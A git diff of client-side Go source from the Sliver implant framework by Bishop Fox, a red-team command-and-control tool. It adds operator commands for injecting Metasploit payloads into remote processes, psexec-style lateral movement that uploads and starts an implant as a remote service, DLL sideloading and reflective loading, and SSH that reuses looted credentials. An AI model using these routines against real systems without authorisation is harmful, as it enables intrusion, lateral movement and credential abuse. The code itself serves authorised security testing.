con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
Encoder: encoder,
|
||||
Iterations: int32(iterations),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PsExecCmd - psexec command implementation.
|
||||
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
if hostname == "" {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
var serviceBinary []byte
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
customExe := ctx.Flags.String("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You might want to change that before going further...\n")
|
||||
if !settings.IsUserAnAdult(con) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if customExe == "" {
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := os.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
}
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
uploadCtrl := make(chan bool)
|
||||
con.SpinUntil("Uploading service binary ...", uploadCtrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
uploadCtrl <- true
|
||||
<-uploadCtrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
|
||||
con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
|
||||
// Looks like starting the service right away often fails
|
||||
// because a process is already using the binary.
|
||||
// I suspect that Defender on my lab is holding access
|
||||
// while scanning, which often resulted in an error.
|
||||
// Waiting 5 seconds seem to do the trick here.
|
||||
time.Sleep(5 * time.Second)
|
||||
// start service
|
||||
binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
|
||||
serviceCtrl := make(chan bool)
|
||||
con.SpinUntil("Starting service ...", serviceCtrl)
|
||||
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
|
||||
BinPath: binaryPath,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ServiceDescription: serviceDesc,
|
||||
ServiceName: serviceName,
|
||||
Arguments: "",
|
||||
})
|
||||
serviceCtrl <- true
|
||||
<-serviceCtrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
if start.Response != nil && start.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", start.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
|
||||
removeChan := make(chan bool)
|
||||
con.SpinUntil("Removing service ...", removeChan)
|
||||
removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
|
||||
ServiceInfo: &sliverpb.ServiceInfoReq{
|
||||
Hostname: hostname,
|
||||
ServiceName: serviceName,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
removeChan <- true
|
||||
<-removeChan
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if removed.Response != nil && removed.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", removed.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
noun = strings.ToTitle(noun)
|
||||
}
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
binPath := ctx.Args.String("filepath")
|
||||
|
||||
entryPoint := ctx.Flags.String("entry-point")
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
ProcessArgs: processArgs,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
hostName := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
binPath := ctx.Args.String("filepath")
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
|
||||
spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
Args: dllArgs,
|
||||
EntryPoint: exportName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostName := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
||||
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
privKey []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("login")
|
||||
if username == "" {
|
||||
username = session.GetUsername()
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
password := ctx.Flags.String("password")
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
oldUsername := username
|
||||
username, password, privKey = tryCredsFromLoot(con)
|
||||
if username == "" {
|
||||
username = oldUsername
|
||||
}
|
||||
}
|
||||
|
||||
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
||||
Username: username,
|
||||
Hostname: hostname,
|
||||
Port: uint32(port),
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if sshCmd.Response != nil && sshCmd.Response.Async {
|
||||
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sshCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sshCmd.Response)
|
||||
} else {
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSSHCmd - Print the ssh command response
|
||||
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
|
||||
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
|
||||
}
|
||||
return
|
||||
}
|
||||
if sshCmd.StdOut != "" {
|
||||
con.PrintInfof("Output:\n")
|
||||
con.Println(sshCmd.StdOut)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintInfof("StdErr:\n")
|
||||
con.Println(sshCmd.StdErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
|
||||
var (
|
||||
username string
|
||||
password string
|
||||
privKey []byte
|
||||
)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if confirm {
|
||||
cred, err := loot.SelectCredentials(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
|
||||
} else {
|
||||
switch cred.CredentialType {
|
||||
case clientpb.CredentialType_API_KEY:
|
||||
privKey = []byte(cred.Credential.APIKey)
|
||||
case clientpb.CredentialType_USER_PASSWORD:
|
||||
username = cred.Credential.User
|
||||
password = cred.Credential.Password
|
||||
}
|
||||
}
|
||||
}
|
||||
return username, password, privKey
|
||||
}
|
||||
@@ -1,75 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn + "Please provide a path. See `help execute` for more info.\n")
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args[0]
|
||||
var args []string
|
||||
if len(ctx.Args) > 1 {
|
||||
args = ctx.Args[1:]
|
||||
}
|
||||
output := ctx.Flags.Bool("silent")
|
||||
token := ctx.Flags.Bool("token")
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
if token {
|
||||
exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
})
|
||||
} else {
|
||||
exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
})
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s", err)
|
||||
} else if !output {
|
||||
if exec.Status != 0 {
|
||||
fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,329 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/help"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]extension
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
